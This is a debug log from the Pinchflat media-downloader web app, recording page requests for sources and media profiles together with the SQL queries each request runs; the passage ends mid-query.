[debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:03:13.820 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=158.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.821 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=158.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:13.823 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=157.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:03:13.824 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=156.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:03:13.825 [debug] QUERY OK source="settings" db=0.2ms idle=155.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.825 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.827 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:13.831 [debug] QUERY OK source="sources" db=0.8ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.833 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:03:13.835 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=8.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.837 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.838 [debug] QUERY OK source="media_items" db=0.3ms idle=10.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:03:13.839 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=7.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.842 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:13.844 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:03:13.847 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:13.851 [info] Sent 200 in 32ms 06:03:13.997 [info] GET /sources/31/edit 06:03:13.998 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:03:13.999 [debug] QUERY OK source="sources" db=0.9ms idle=160.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:14.001 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=160.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:14.002 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=159.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.003 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=158.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.005 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=157.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.013 [info] Sent 200 in 16ms 06:03:14.166 [info] GET /sources/35/ 06:03:14.166 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:03:14.167 [debug] QUERY OK source="sources" db=0.4ms idle=167.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:14.169 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=167.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:14.170 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=167.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:03:14.171 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=167.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:03:14.172 [debug] QUERY OK source="settings" db=0.2ms idle=166.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.173 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.174 [debug] QUERY OK source="settings" db=0.3ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.179 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:14.180 [debug] QUERY OK source="media_items" db=0.7ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:03:14.182 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=8.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:14.184 [debug] QUERY OK source="sources" db=0.6ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:14.185 [debug] QUERY OK source="media_items" db=0.4ms idle=10.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:03:14.186 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:14.189 [debug] QUERY OK source="sources" db=0.3ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:14.191 [debug] QUERY OK source="media_items" db=1.1ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:03:14.193 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=7.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:03:14.197 [info] Sent 200 in 31ms 06:03:14.357 [info] GET /media_profiles/2/ 06:03:14.358 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:03:14.359 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=172.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:14.360 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=170.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 06:03:14.361 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=170.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.362 [debug] QUERY OK source="settings" db=0.2ms idle=168.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.363 [debug] QUERY OK source="settings" db=0.3ms idle=40.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.367 [info] Sent 200 in 9ms 06:03:14.513 [info] GET /media_profiles/1/edit 06:03:14.514 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:03:14.515 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=155.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:14.516 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=155.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 